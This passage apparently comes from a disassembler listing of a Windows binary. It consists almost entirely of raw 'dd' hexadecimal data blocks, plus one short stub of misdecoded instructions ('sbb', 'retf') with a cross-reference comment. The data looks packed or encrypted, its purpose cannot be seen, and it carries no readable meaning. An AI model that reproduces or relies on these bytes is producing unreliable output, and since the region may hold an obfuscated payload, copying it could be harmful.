		dd 0CEB38C11h, 5D588F9Bh, 6E789678h, 14546B60h,	0C54A59FAh
		dd 3DC69970h, 321576CBh, 321E8F22h, 87276611h, 0C80EB4BAh
		dd 0A8EEF70Fh, 6B90ED22h, 0DB13723Fh, 32156685h, 2509DE5Fh
		dd 60F6B675h, 790DB8C5h, 0B79C9EF7h, 3401432Dh,	0DBED07DBh
		dd 32156618h, 8CB1334Bh, 5B28D639h, 0DA2BE617h,	32DEE31Eh
		dd 0BC1A6688h, 32156645h, 3A8E5DBh, 3213720Dh, 32A2E287h
		dd 61E96644h, 83449B95h, 6BDDEEF7h, 524E9EA0h, 4FD5E722h
		dd 3DBF07E0h, 32157193h, 32078F88h, 0C9046644h,	0B5E63738h
		dd 0BED1E8FAh, 0F111B0DCh, 0CC6BAAD1h, 1621E774h, 17714F57h
		dd 0B1316203h, 74206280h, 3D30020Bh, 3215769Dh,	321E8F88h
		dd 12F06644h, 9D41550Fh, 0AB04DD24h, 1E0F4B04h,	0CA3C4819h
		dd 1E0FD975h, 0CA14484Ch, 89469FD7h, 32156640h,	9F516027h
		dd 1FCD4F72h, 51B8228Eh, 3A92691Fh, 3D156622h, 3215649Dh
		dd 99740688h, 321FEC4Bh, 65756622h, 72F3E749h, 53314C78h
		dd 3214E64Bh, 0DBE06622h, 32156439h, 32128F7Dh,	0D906644h
		dd 0AD93D56Bh, 0E88EBBCh, 0DB137A98h, 32156649h, 0C196EF96h
		dd 0FDC4FA08h, 21471635h, 379B69A3h, 52156622h,	53E7D91Eh
		db 77h,	0B5h
; ---------------------------------------------------------------------------


loc_5FD1BE:				; DATA XREF: sub_581EE9+3ACBo
		sbb	bh, [edx+3215665Ch]
		retf
; ---------------------------------------------------------------------------
		db 75h,	15h, 32h
		dd 9B02D11h, 7863478h, 61DD7483h, 624680D0h, 0BAA314Dh
		dd 1405FB05h, 0CDE06058h, 3DFC06F1h, 11156611h,	0F2E9CB49h
		dd 0DC46C21Ch, 9D3D5AA5h, 0F09430A8h, 127E6613h, 3DD56D25h
		dd 32154EA7h, 72FC9311h, 3D156688h, 321575C7h, 37FD0622h
		dd 0A5156611h, 0F42B6A10h, 329D691Bh, 53156622h, 0FF64DD71h
		dd 0F19E7ABEh, 5B90E525h, 37137207h, 321EEB1Eh,	3D756688h
		dd 321566C2h, 0C39E0022h, 0CC628F70h, 0BFE09977h, 2E3D20D9h
		dd 0E1EA9A24h, 0B9733571h, 0B3733843h, 536B4295h, 0B71AA629h
		dd 32156635h, 0FBA09FE8h, 32518F25h, 0B2756622h, 22FC47C3h
		dd 95156688h, 0B1CB8743h, 53E5663Ch, 51C16BB6h,	53DA51C8h
		dd 0BB118AC7h, 36AC422Eh, 33156611h, 3BFC3F42h,	9F156644h
		dd 6A74FD33h, 1AFC921Eh, 32146561h, 0E5A30644h,	8CFDE744h
		dd 0AF98075Bh, 340CFD19h, 321561ADh, 18033E22h,	50A41279h
		dd 0B11AB577h, 32156665h, 5BA0EDD7h, 0CA137234h, 323B6061h
		dd 35FC0644h, 4F156622h, 6B92276Dh, 0DA94C999h,	12BA61E4h
		dd 5B98ED43h, 52137234h, 32156060h, 90168F44h, 6A3AB8F7h
		dd 879C07E4h, 340143E1h, 321FE74Bh, 3D756622h, 32156692h
		dd 53D4ED88h, 4334DC16h, 0D89456DCh, 3B002ED8h,	1B4FB7A1h
		dd 6AD4E7B5h, 52328F0Ah, 8CFEE777h, 5385D240h, 16019115h
		dd 3D75277Bh, 32156697h, 30936988h, 52156644h, 0DC940743h
		dd 629A4483h, 8B44A8A1h, 579178B2h, 7C50AFA3h, 0B35407E6h
		dd 48513169h, 70D4E71Bh, 331E7AFCh, 0DA753FDFh,	3215668Fh
		dd 577AAA10h, 0B3FB616Ch, 48ADC1E6h, 0B31A3899h, 32156647h
		dd 53DED12Dh, 0B91AC2E2h, 3215668Fh, 3214EE4Bh,	0DBE06622h
		dd 0CDEA9B08h, 3214E787h, 0CBE96644h, 911AFBAFh, 0CDED600Bh
		dd 3E92695Bh, 52156644h, 5BFDE44h, 3215EA1Eh, 60746688h
		dd 1639E713h, 0FE8252Ch, 3CD7E74Bh, 0BB289BCBh,	3FFC3C94h
		dd 0C5156622h, 8D042F7Ch, 82B288BBh, 940E38C3h,	2384E309h
		dd 0B71A6005h, 3215669Ah, 32156BADh, 77BFDA22h,	6C0570DFh
		dd 2113EB26h, 0B79CC41Fh, 340174B3h, 321576F8h,	6AC3E688h
		dd 0F422172Eh, 24572111h, 0DCBD05EDh, 0A390ED86h, 3D137255h
		dd 321561A4h, 33926911h, 0CA156688h, 3267C52Ch,	1629EF22h
		dd 0BF1A0671h, 32156688h, 63AB0025h, 0BB470794h, 36D7E7F3h
		dd 0B3156688h, 321562AEh, 1601E122h, 1611EF4Dh,	321D8F71h
		dd 6BC16644h, 7738ECB2h, 0BF985C26h, 340FC32Bh,	32156FADh
		dd 0CEA1EB22h, 0F12F2788h, 3BFC74BBh, 0EE156644h, 100DE9B7h
		dd 16A438ECh, 0B9E0B777h, 263637C1h, 321A8F24h,	8E146611h
		dd 0A9CAB345h, 0E64FE923h, 0FC4C1CA4h, 32198FB3h, 6FC16688h
		dd 339FEA96h, 0FF8D283Eh, 7B7D9948h, 0BB1566FBh, 52754240h
		dd 5F6BDF44h, 53740771h, 0B3F0EFDDh, 32156281h,	36F8E522h
		dd 6E314A96h, 52315A01h, 0F59E6FF2h, 0A390ED43h, 3D137200h
		dd 32157607h, 321E8F44h, 4F496622h, 90F6307h, 0C14B09B7h
		dd 0D19C35CEh, 3211A5A3h, 0D9946611h, 3215668Ch, 6E317AC3h
		dd 523162ABh, 0F1AA6943h, 32048FD6h, 0C2626644h, 0E386687Ch
		dd 8CB25A85h, 0D12CF396h, 53934B01h, 94BCEBAFh,	6375600Bh
		dd 68E3D187h, 3DC49925h, 32156FADh, 8C730611h, 0E195E316h
		dd 0B94507C7h, 0F6944236h, 32156615h, 321EEB87h, 34FC6644h
		dd 42156622h, 18DE6897h, 6943643h, 7C0BED60h, 88473F27h
		dd 375B789Ah, 0C74FB7B9h, 63984DBDh, 3D137201h,	32156E99h
		dd 30976988h, 52156644h, 2BA8E543h, 32137221h, 3281E287h
		dd 0B31A6644h, 32156634h, 3205EE1Eh, 39FC6688h,	54156644h
		dd 0B032115Bh, 434E3E8Ch, 0B79EB95Eh, 340165CDh, 0B73E9ADAh
		dd 34015608h, 0D2D2E7E8h, 8D0A5736h, 5298ACCCh,	3DD45D70h
		dd 3215330Eh, 3E9F6944h, 3D156622h, 32156090h, 32926988h
		dd 0B9156644h, 260713A7h, 0B7169F17h, 34015691h, 321568ADh
		dd 5714C322h, 0B670CB31h, 144ACEB2h, 0BB7D87EDh, 2615DBA7h
		dd 94FC9E17h, 52156689h, 32156AACh, 71FC22h, 724D7A3Ah
		dd 0F69A175Ah, 6AC7D4FBh, 0BB4607DAh, 36D6E7F2h, 0B3156688h
		dd 321562AFh, 1609E122h, 1619EF4Dh, 0B34407E8h,	42C44270h
		dd 369E5CBEh, 36D1E735h, 7156688h, 8891695h, 0EC953642h
		dd 0B81A3F3Dh, 32156688h, 33AB3025h, 1B156622h,	0BB1A38E1h
		dd 32156689h, 5A4233B1h, 7B48137Fh, 90E2E74Eh, 0BB5C3BF2h
		dd 0DA1C39B9h, 321E8F7Fh, 0DCAA6611h, 4212B633h, 49200958h
		dd 33AF34AAh, 33156611h, 0DB753C58h, 32156649h,	55E6D765h
		dd 8F76F86h, 4C3DC3EEh,	321E8F66h, 3DFE6622h, 0DAED30F0h
		dd 0A335A8Dh, 0B79C074Bh, 340165ABh, 739067E9h,	3D1372A2h
		dd 32156EC3h, 309C6922h, 52156611h, 2B90A1E9h, 32137274h
		dd 0DB156622h, 32156617h, 0E25580E9h, 727F4D56h, 32156ACBh
		dd 0CA1A6A11h, 45500BF3h, 0BF7FBA67h, 22150EA8h, 0BE1A6611h
		dd 32156689h, 22810EB1h, 3E9C6622h, 327F9A35h, 3B80997Dh
		dd 3D13725Ah, 321570A2h, 0C1940611h, 694CDB50h,	32156EACh
		dd 55949322h, 0A4F9DF54h, 0CD743E4Ch, 26064BD1h, 3E9C6924h
		dd 52156611h, 20D6DEEEh, 3215E74Bh, 0BB746622h,	26071394h
		dd 0B51A068Eh, 32156640h, 0C76ED944h, 32156AF9h, 8A041E88h
		dd 0A9578C46h, 5953FA9Ah, 321A8FD8h, 51D86688h,	61964F8Fh
		dd 4AA6DD7Dh, 0EACB727Ch, 0BB743E9Dh, 2615DBC1h, 6EA9F24h
		dd 0F6943F35h, 3215668Ch, 321576ADh, 39F13122h,	4C160373h
		dd 977247E3h, 1DD38D9Bh, 8FA09984h, 0CB137211h,	1144D377h
		dd 5AE06050h, 321565A1h, 3D315A98h, 32156C06h, 53750644h
		dd 5B85A6A3h, 0CD742EE6h, 2604F73Dh, 26956942h,	3D156622h
		dd 3215689Ah, 321C8F88h, 0BF7A6644h, 7825509Fh,	0C7BE7547h
		dd 8DC8E305h, 0B71A605Eh, 3215662Eh, 3213E21Eh,	0BE1A6688h
		dd 32156644h, 0C775B6DDh, 3215E31Eh, 33746688h,	26257FC9h
		dd 8F9E9E24h, 340166ACh, 32157561h, 7EB92E44h, 144BC17h
		dd 275C749h, 37CC173Ch,	7FCF1F17h, 321D8F42h, 0BDDA6611h
		dd 4092F2BAh, 0B37379E7h, 532848E5h, 1144D39Ah,	22FC609Ch
		dd 1D156644h, 157C59C7h, 0FE12545h, 0BEDC598Dh,	0C1B8406Fh
		dd 38986986h, 52156611h, 3215EC87h, 6A476644h, 321D8F43h
		dd 235A6611h, 434DC5CDh, 879E59F1h, 3401624Fh, 32156FF8h
		dd 3AEFE088h, 0DF567D05h, 0BD1A950Ch, 32156610h, 0BF1ACB70h
		dd 32156648h, 3213E42Dh, 0B41A6611h, 32156688h,	1AC9DB11h
		dd 0D794428Dh, 7290BCEh, 0F794BB7Fh, 16394E98h,	0BBFAEF75h
		dd 6F4A9A6Fh, 321FE187h, 37FC6644h, 13156622h, 4915A9EFh
		dd 5210A649h, 3216E94Bh, 8D1A6622h, 884707DAh, 58077497h
		dd 19FD8CC5h, 0E2145226h, 0B131729Ah, 3EFC624Ch, 1B156644h
		dd 0ACD757A5h, 88D18A96h, 31AFB8AEh, 2636D3C1h,	321D8F24h
		dd 86AD6611h, 2158A3F1h, 0BF9ECC8Ch, 3401669Fh,	0FC9C30E9h
		dd 69E5601h, 36D1E760h,	3D156622h, 32157D9Ch, 279A6988h
		dd 0DB156644h, 32156632h, 0CCC9D111h, 0E31523D4h, 358F06AFh
		dd 0EE2FC658h, 339C69BCh, 0CB156688h, 3215DB11h, 0BB466622h
		dd 0CE4BEFFAh, 37FC3BD3h, 0A5156644h, 85343D4Ah, 3678D398h
		dd 0B31A609Ch, 32156645h, 0CDEDE5D7h, 3269E31Eh, 0B11A6688h
		dd 32156645h, 32108FDEh
		dd 84CC6611h, 0B32D0773h, 0EFC8BB7Ah, 6D9069FFh, 0DB156611h
		dd 3215669Bh, 0A80AF20Eh, 0FE081F3Eh, 4E29FD57h, 9F75321Eh
		dd 62F34BE1h, 3215669Ah, 0F5E56711h, 32156688h,	1611ED44h
		dd 3211A2A3h, 0B71A6611h, 32156689h, 36F9E7BDh,	0BB156622h
		dd 36AA422Dh, 33156688h, 0BBE939BAh, 26110B97h,	26FC9317h
		dd 3DEA995Bh, 321563CEh, 0F3950622h, 0F2D4074Fh, 32128F8Bh
		dd 43746644h, 850142DEh, 87906551h, 0CE1372ABh,	3D18DBC7h
		dd 3D146036h, 32168E95h, 21986988h, 0DB156644h,	3215662Ch
		dd 0F007174Eh, 11188289h, 0A97970B6h, 0C942E10h, 98BFCCBBh
		dd 32CAE387h, 3CFC6644h, 3A156622h, 4E112FF7h, 0D956FF16h
		dd 0F99DDBEh, 3D950E0Fh, 269C6611h, 3211DCACh, 0E4146644h
		dd 321F8F78h, 0C7A56611h, 4E27C198h, 12482448h,	3206924Ah
		dd 1639EF11h, 826AB8E0h, 0B3583B41h, 9058EEE7h,	0FFE0E71Ch
		dd 0B3558D90h, 8BC0CEA9h, 0CE7BEF71h, 259B694Ch, 0DB156688h
		dd 32156656h, 2A898C3Eh, 0A94A95B8h, 0F5EEDA6Fh, 101CB1CCh
		dd 0B14546E6h, 0E9C62FDh, 3D4A3EACh, 32157ECFh,	32068F22h
		dd 0C0626611h, 9158336Ah, 1E3E8424h, 7B3139D4h,	96D9DD2Bh
		dd 0C1A734DFh, 8273D517h, 69CD565Eh, 0DB4FB621h, 32156687h
		dd 0E9F2F648h, 998CD0D5h, 62FBD4D2h, 0DB31F8A9h, 3215660Ch
		dd 3202E62Dh, 20FC6611h, 71156688h, 0E72113FBh,	0E6EFDC52h
		dd 95967BF7h, 0ED9D547h, 3ED577Bh, 0DBED57E5h, 3215661Ah
		dd 54799560h, 0E5B2BDB3h, 617705CCh, 0CA9DA8A6h, 1EC590D3h
		dd 36DD4A73h, 52460694h, 53ED3C70h, 0B3F0EFDDh,	32156281h
		dd 36F8E522h, 6E314A96h, 0DB316201h, 3215664Eh,	22E42D38h
		dd 57BFBA72h, 8F969B53h, 34016BE5h, 0A4916923h,	0DB156610h
		dd 3215668Fh, 243D6B97h, 632D1418h, 0B8507FA8h,	89F2DE81h
		dd 0FA149031h, 0B1316AA9h, 39FC62D5h, 4E156688h, 3942BE84h
		dd 4860EBB5h, 0B1ED7127h, 29B34235h, 0B61A6642h, 32156641h
		dd 323FE71Eh, 0DB756688h, 32156650h, 4A3201h, 27BD56D5h
		dd 7C3ED25Ah, 0B27AE769h, 79C9F408h, 32156FF9h,	0E6172C88h
		dd 6E8FB9CAh, 534B6EA3h, 3219E21Eh, 0B11A6688h,	32156642h
		dd 3215E22Dh, 0AF986611h, 340FB2D6h, 1328D924h,	8C732BCBh
		dd 0CD741A86h, 55AB065Bh, 0C762A6A6h, 0B9730643h, 0B2749ACEh
		dd 0B61AF6B7h, 3215665Fh, 894633DBh, 32156614h,	334EBB01h
		dd 0DBE03BABh, 321567EFh, 3214E21Eh, 0B1ED6688h, 0B01A36BCh
		dd 321566EBh, 0A2A037E8h, 3E9E8E00h, 36D1E760h,	52156622h
		dd 32156BF8h, 0AEE8CE88h, 2824A9D1h, 6963D86Dh,	0ADA09AF6h
		dd 0B01ACCE9h, 32156645h, 321D8FDEh, 124F6611h,	431D000h
		dd 369E354Dh, 0D39C3706h, 3211A790h, 0F3946688h, 32156640h
		dd 6E316AA5h, 32156AF8h, 40F35588h, 0EA12B88h, 482895E5h
		dd 0DB75CC3Fh, 32156683h, 3AC865F6h, 191579B8h,	0B248909Bh
		dd 0DB742F46h, 32156648h, 7BDC440Eh, 0F20955C4h, 3B00FFB0h
		dd 3215A4ADh, 8A730622h, 5274A959h, 32157260h, 0EECC4044h
		dd 0D652131Ah, 864F09EAh, 25D658DBh, 0F15E760h,	6974069Bh
		dd 3207EF1Eh, 3FFC6688h, 30156644h, 0D81E2AD8h,	8DCE4920h
		dd 3BE69515h, 16219925h, 36D1E77Ah, 3D156611h, 32156A05h
		dd 34976944h, 3D156622h, 3215669Eh, 0B71ACC88h,	32156645h
		dd 0CD6AE6DAh, 6A9069F8h, 3D156688h, 321568C5h,	0B51A0622h
		dd 32156611h, 3215EB87h, 0B1746644h, 29B3429Fh,	0B61A6617h
		dd 321566AFh, 0DDFBE624h, 1BEBC39Bh, 0AF98074Fh, 340FB5FDh
		dd 32156DADh, 0CFAC7222h, 0A0B076B2h, 3032755h,	0B975B5BBh
		dd 63749FD2h, 3211D946h, 0CB9C6688h, 0BAEC671Bh, 0B9ED3F23h
		dd 2615DB94h, 3593698Eh, 3D156644h, 321567A0h, 8F409E11h
		dd 61671268h, 1B488E45h, 46F54BDAh, 0DBEC3563h,	32156683h
		dd 9B39724Fh, 0D8AB3D9Dh, 5ADF9BE7h, 321574C3h,	8D315ACDh
		dd 32156626h, 0DB4A9E38h, 3215668Fh, 0D0A709E7h, 998713B7h
		dd 3202E81Eh, 0B11A6688h, 32156655h, 32156ACBh,	27BEDD11h
		dd 4F7CD3FBh, 0D0E6D005h, 3AFCCB6Eh, 10156611h,	229D9C8Eh
		dd 0CBD2A494h, 1474DB77h, 74D22D53h, 8FCCF974h,	0CEAC37F0h
		dd 33EA99DDh, 6B3C67E0h, 3A9D69D5h, 3D156644h, 321564A8h
		dd 0DB740611h, 0CDEA9DA0h, 5FA0EFBDh, 0DB137226h, 32156618h
		dd 66ACDFDh, 9BA32113h,	0F99406F3h, 4D47BE69h, 45AF00DBh
		dd 5A743EA7h, 32156BFAh, 0CA317298h, 329566E0h,	0B61A9E44h
		dd 3215662Ah, 3217EE1Eh, 53756688h, 39FC662Eh, 81156622h
		dd 1A84A094h, 0AC0B3F22h, 87EA8A4Fh, 34017FB7h,	138099E8h
		dd 0DB137284h, 3215664Bh, 24B3D21Dh, 0D34E4EE9h, 132F4962h
		dd 0B97525A4h, 0BB434236h, 36D3E7F7h, 0B1156688h, 6926282h
		dd 54753A06h, 89739D9Ah, 0DB740A22h, 32156642h,	0D2EAC647h
		dd 0BF9E4B60h, 340164F9h, 321577ADh, 0FD7B4F22h, 0DE31B261h
		dd 126B50DBh, 0D4EBC048h, 5A401735h, 32156611h,	6F3CEFD5h
		dd 3214E54Bh, 67E06622h, 321562ACh, 2CD4E788h, 331E9A59h
		dd 2CFCE7CBh, 6F1E9A0Ch, 32156D61h, 7EA29644h, 3CB22AF4h
		dd 59B8900Bh, 3064EB01h, 0BF1A6050h, 32156623h,	0F4668FE8h
		dd 3CFC9977h, 0C9156644h, 81D53B80h, 0BBBB247Eh, 0A02713BDh
		dd 19AA8FF0h, 0B91A6622h, 3215661Bh, 0C0FCE7E8h, 610F7E38h
		dd 3D750778h, 32156B9Eh, 32128E88h, 55636644h, 35C22042h
		dd 3CFD3D40h, 22156688h, 0F7D317AFh, 0B646FCA6h, 41776709h
		dd 0C19E0010h, 5275071Ah, 0DBEDD92Dh, 3215661Dh, 0B6193836h
		dd 0D3B84207h, 45BFE0A6h, 4398ED70h, 0CA13728Ah, 32188E24h
		dd 361A6622h, 0CBB6D2FBh, 0E10972B3h, 54733733h, 6C2E179Dh
		dd 32108E71h, 0D8F06688h, 6C04C70Fh, 32156DCBh,	5B08E211h
		dd 0BD5C355Dh, 571FD7C8h, 3EA0743h, 321A8F48h, 128E6688h
		dd 4B4E4607h, 0F41D2FB0h, 23DB60EFh, 1298EFBEh,	52137DE2h
		dd 3207EC2Dh, 3EFD6611h, 0B5156688h, 0A214D02Bh, 0B3C83420h
		dd 694FC5AEh, 53C4D187h, 665B5EC5h, 0B71A2A66h,	32156687h
		dd 0E29400E8h, 0B973C6E9h, 3EFC07D1h, 0A9156611h, 0DF8E3B37h
		dd 58D1FA12h, 540A4287h, 7E111E90h, 5D9069A6h, 0DB156644h
		dd 32156627h, 0BB88AB85h, 321D8F52h, 0E4816644h, 7EE3C66h
		dd 0B9455F2Eh, 0F69442BCh, 32156640h, 321577CBh, 4D38D211h
		dd 81D1B8Eh, 0C3600CB0h, 68ED8B8h, 8D4270F2h, 3215668Eh
		dd 2016A0C5h, 0CC14506Dh, 20168890h, 0C74A50C7h, 32BCE3CFh
		dd 23FC6036h, 67156611h, 0A14056AFh, 56B2B4A2h,	7833C84Bh
		dd 0EC3D63DDh, 32103661h, 0B9459344h, 0F6944216h, 32156615h
		dd 321E8FE8h, 7CF56644h, 0F491C736h, 0C4FD15A3h, 0E99400EBh
		dd 62749BC5h, 0B13172A9h, 0B37562D5h, 6C1DA950h, 0B3730638h
		dd 52016BD2h, 3740770h,	32078F41h, 0DD826644h, 1B465395h
		dd 0ED27964Ah, 95F72296h, 0F65EF970h, 321575CBh, 9B569111h
		dd 0D70505ACh, 0D11A7BFEh, 0A9B49361h, 23BD2AC0h, 32299324h
		dd 3351E24Bh, 0EE96622h, 0DF91693Ch, 52EA9977h,	3217EB4Bh
		dd 6A476622h, 3D3B5A70h, 3215B50Ch, 39FC0644h, 9B156622h
		dd 0ED1FB590h, 0C1A9792Eh, 851AD944h, 22907E5h,	370EE41Eh
		dd 26FC6688h, 9F156644h, 5BB15858h, 0CE525BFFh,	2CA52E2Ah
		dd 0B1F6A993h, 0E3AC4EFh
		dd 0AF936928h, 0C7EA9977h, 32198F24h, 0E26A6622h, 0D9A8860Ah
		dd 0FBEE78E4h, 0E747CD4h, 0EC976963h, 0CB156615h, 0B41A3CB4h
		dd 0CDEA993Ch, 320DEC2Dh, 21FC6611h, 84156688h,	836C6E46h
		dd 21BC9EEFh, 0F5C68AB5h, 9B7C1F98h, 6D298696h,	0CD47E22Dh
		dd 0EED99EEh, 949769E9h, 0CE156640h, 32156ACBh,	0ABBBB411h
		dd 3AFE9FFBh, 0C4186F8Ch, 3D6F5A9Ch, 0CDEA4997h, 32048F77h
		dd 5B246644h, 0D47774F3h, 0B9B259D2h, 1BE3181Ch, 0DB88E984h
		dd 32156253h, 321561F8h, 0F4288188h, 32E4BDDDh,	3214DB77h
		dd 0D8146611h, 851A06D5h, 0CBA2698Bh, 0C02C9343h, 365EE21Eh
		dd 52ED6688h, 0C7FAE722h, 62749FC3h, 5D2385A9h,	4D2C53DAh
		dd 0EAE249C6h, 0DF5CBF17h, 6AD7676Ch, 0D6AA317Dh, 0B354A851h
		dd 3FF7DD5h, 6DEC4FAFh,	3217E387h, 53756644h, 0CDEBD5CBh
		dd 0FB909AEEh, 3612E287h, 35FC6644h, 0A1156622h, 0CB11D244h
		dd 0B975F5AEh, 53E6ED8Eh, 2B30D3AFh, 0BC1A6005h, 3215669Fh
		dd 3204EA4Bh, 3EFC6622h, 5C156611h, 0B44DD475h,	3FF2B462h
		dd 65BE6EB6h, 0CB9C3943h, 32198FD7h, 27EB6644h,	6EBF1B6Ah
		dd 0C70C9CA0h, 0DE949FB7h, 32156640h, 6D3172ABh, 321568F8h
		dd 0FDD3ED88h, 0A6599B1Ch, 1629C5ABh, 52214845h, 8B738738h
		dd 61746B8Ah, 0BA474895h, 68E5EEEFh, 34FD06D3h,	8A156644h
		dd 4708DEA0h, 69DBED9Bh, 9C74A803h, 52E99B31h, 381DD944h
		dd 32078F43h, 32E76688h, 99FFA340h, 76BFD318h, 62E9FBAFh
		dd 6CD71727h, 8A45071Fh, 17F53F97h, 1B4DA738h, 87D4E771h
		dd 0CA30861Dh, 3215D975h, 0FD3C6611h, 0E9E9F01h, 36D1E560h
		dd 32156ACBh, 0C3F71011h, 0D8C9C561h, 0E274C598h, 0B8FAE72Fh
		dd 0B35ED236h, 0D71E504Fh, 0B3DA4F5Ch, 0D71E50CDh, 0B8D2E709h
		dd 0CA5ED2AFh, 0E9E3013h, 36D1E506h, 5275064Fh,	0C17407E9h
		dd 53E006E0h, 0CDEADF73h, 0CB1499EEh, 6BD1674Eh, 0FCEA29C4h
		dd 0DBEA01A2h, 0FAEA1191h, 2B936971h, 0DB156644h, 32156636h
		dd 0BFEB8999h, 21369ADEh, 526DB602h, 0EBA35143h, 61BEEF1Dh
		dd 2B30F305h, 0BE1A6050h, 32156636h, 321BED1Eh,	3BFC6688h
		dd 2B156644h, 3A22150Dh, 34A76D05h, 32157461h, 32C8544h
		dd 3932007Eh, 617A4C56h, 9E513603h, 0B919954Ch,	26146BA7h
		dd 32198F17h, 8FDE6688h, 5EE85ED0h, 0BF3F1BEAh,	0F290D9DBh
		dd 3294E387h, 0B2756644h, 3EFC00E6h, 9F156611h,	0D691A92Ah
		dd 983C3662h, 533C1262h, 3A5CE3D7h, 0DB52609Ch,	32156649h
		dd 649898CDh, 740645EDh, 53751E58h, 95C70E73h, 0BF1AB2B8h
		dd 32156602h, 32156861h, 7CA94A44h, 78D5985Ah, 0DD59F57h
		dd 0CD9C6B92h, 263903F1h, 0B7989A24h, 34021EEFh, 32157461h
		dd 4FA84C44h, 0CC0D5D6Fh, 99A9D171h, 0EE7E2D4Ch, 0CDB0F396h
		dd 359A69F2h, 3D156611h, 3215670Bh, 67E99F44h, 0F79483ABh
		dd 32156615h, 32118B09h, 1E926644h, 269C3A06h, 8D1A0635h
		dd 0CD749370h, 29916994h, 52156622h, 321576F8h,	0E9AF5588h
		dd 626CDF1Ch, 3FB1F420h, 23D5ED72h, 0C7AE00D8h,	0F2900723h
		dd 3332E32Dh, 60756611h, 32156060h, 0E1908844h,	6C387AACh
		dd 0B79E074Ah, 34014D55h, 3DD5E3BDh, 3215C0A7h,	229A6911h
		dd 0DB156688h, 3215664Fh, 0E8E979C4h, 0BBF4FE63h, 0C764CF9Eh
		dd 3A5CE382h, 52596036h, 3210EA1Eh, 0B3736688h,	52FB1897h
		dd 3215E12Dh, 0B51A6611h, 32156688h, 0BA1A0725h, 32156638h
		dd 3201EE1Eh, 3DFC6688h, 76156644h, 0DD3D1A4Ch,	0DBBD320Fh
		dd 0DE65D1CCh, 0DB7D3ABBh, 0DBCCBC3Eh, 32156603h, 5A81CBA1h
		dd 0CD016A0Ah, 64DCFFD6h, 33C1F41h, 0CDE08124h,	263903F1h
		dd 32198F24h, 9B826611h, 487F3528h, 0E20FFE71h,	0B79839CEh
		dd 34021EEFh, 32156D61h, 99CB5F44h, 0DF5189CCh,	1D28A008h
		dd 61ECB677h, 0F19485CDh, 32156626h, 0B5118D92h, 0BB494294h
		dd 23FC4250h, 59156622h, 0D70CAC7Eh, 289DD2F1h,	0C745E4A4h
		dd 0AE7C392h, 8D75B6EEh, 5C55F4F2h, 3B18D922h, 3DD5E343h
		dd 32154294h, 8C730688h, 0DB7414B5h, 321566B3h,	321572F8h
		dd 0ED5CE588h, 0B3FC49ABh, 0FFDD3A31h, 0EF323E18h, 0B985A68Ch
		dd 1290EF1Bh, 3D137D84h, 3215759Eh, 0C29E0688h,	32156CADh
		dd 2B054122h, 78843ED2h, 533B9075h, 0D79C33B8h,	3211A3A3h
		dd 0DF946611h, 3215668Ch, 6E314AC3h, 523162ABh,	0DE9607E4h
		dd 1621EF8Ch, 9090EBB1h, 3D137151h, 32156797h, 0E2EA9388h
		dd 3DD56DBDh, 32156AA7h, 3D759E11h, 0DB74A637h,	32156651h
		dd 1651EFDAh, 3B99690Dh, 52156688h, 662CB1C5h, 53E90026h
		dd 0B21A07E4h, 32156689h, 3FFCA5B1h, 156622h, 5B061A76h
		dd 5B7EC03Bh, 42617FDFh, 52460642h, 8A733F70h, 0DB7457CCh
		dd 3215664Ah, 0BBB4B504h, 102481C7h, 0C8F72FD4h, 0BF9E7168h
		dd 340EC002h, 29B50EEDh, 369C6688h, 44AC0660h, 3D2913CFh
		dd 32156098h, 32986988h, 53156644h, 61DEEF71h, 0B11A3D49h
		dd 32156684h, 3213EA4Bh, 0B91A6622h, 32156611h,	324860E0h
		dd 1601EF44h, 32155A98h, 31D76711h, 0B41A3C8Ah,	3215664Bh
		dd 32156CCBh, 519B3611h, 0BC90E4Ah, 0CD47D780h,	3215EE92h
		dd 1601ED11h, 0DB11A20Bh, 3215664Dh, 70CBD845h,	2462F416h
		dd 4B80EF57h, 3D13726Dh, 321567AFh, 60429311h, 0A74C9E32h
		dd 68C2EF22h, 6B1589A3h, 0CA140084h, 321E8FD7h,	118B6644h
		dd 7772E7D7h, 0F6838AA8h, 93AC375Ch, 0B3328E6Ah, 0DA3BF3CBh
		dd 0B9D46736h, 0BE1A3F99h, 3215664Fh, 321560CBh, 0D5CD9611h
		dd 0DB564C9Bh, 3215664Fh, 726B30DDh, 0DCB9C4E9h, 0BB53D1E2h
		dd 26026BD1h, 32068F24h, 15AC6611h, 0ADBB262Ch,	4E4BF41h
		dd 0CDF2C2BEh, 3E3D5530h, 162199A6h, 36D1E51Ch,	32156ACBh
		dd 3E254E11h, 9CA96A5Eh, 0AAAB6A7h, 321E8FDCh, 39376611h
		dd 0C9F7B6F8h, 90181BB9h, 166199CDh, 1611ED35h,	0CA11A20Bh
		dd 0C75FC069h, 5E8E4B33h, 0FA3C4A93h, 0B079FD8Dh, 78B36368h
		dd 9E977D7h, 26026B94h,	5D97698Eh, 0DB156644h, 32156625h
		dd 4BF22814h, 3DB67B4Eh, 321567CAh, 0B72E9A22h,	34014F68h
		dd 3245E587h, 0BE1A6644h, 32156636h, 321569F8h,	0A5EA8B88h
		dd 6E6C1B55h, 0DBC3258Ch, 0D4DD73Bh, 3E9869E8h,	0DB156644h
		dd 32156625h, 5FC93A76h, 53BD9818h, 38926925h, 52156622h
		dd 0F852FEA9h, 0EB9E00DCh, 3211A425h, 321DEA2Dh, 0B91A6611h
		dd 3215668Ah, 0CB740724h, 423162E5h, 6168AB16h,	0EDF633h
		dd 164967C6h, 87753D26h, 0FBA269C2h, 1651A1E9h,	0F501DA40h
		dd 76A83319h, 33D15EFAh, 6F1D42E4h, 0DBBFD124h,	32156631h
		dd 0C2474156h, 0A39F32Bh, 48046CE1h, 5ED2E9A8h,	53F1262Bh
		dd 42A3D8DEh, 89AD37AEh, 37448C52h, 73686D14h, 373896A1h
		dd 6C541B4Fh, 0D1940042h, 3BFC7A32h, 42156688h,	0FD7D2D97h
		dd 0C5CFCD68h, 0CD98EB70h, 0CB1372C5h, 3D7587BBh, 321565A0h
		dd 0D9D2E611h, 3D743D38h, 32156EC2h, 30996922h,	52156611h
		dd 0BA1A06E9h, 3215664Ch, 3217EB2Dh, 53756611h,	32AD36D9h
		dd 0BB156644h, 0C3143EE3h, 0DB4C679Bh, 32156698h, 605393F2h
		dd 32397B3Bh, 5488FEEFh, 0CF6C5A4Eh, 0B61A8F78h, 3215670Ch
		dd 3DFD5AE8h, 3214270Ch, 38AD0644h, 0DB0C2C07h,	3215661Fh
		dd 0AFD49523h, 3B7E60D1h, 9D13775Ch, 0E74FE46h,	62916987h
		dd 0DB156644h, 32156629h
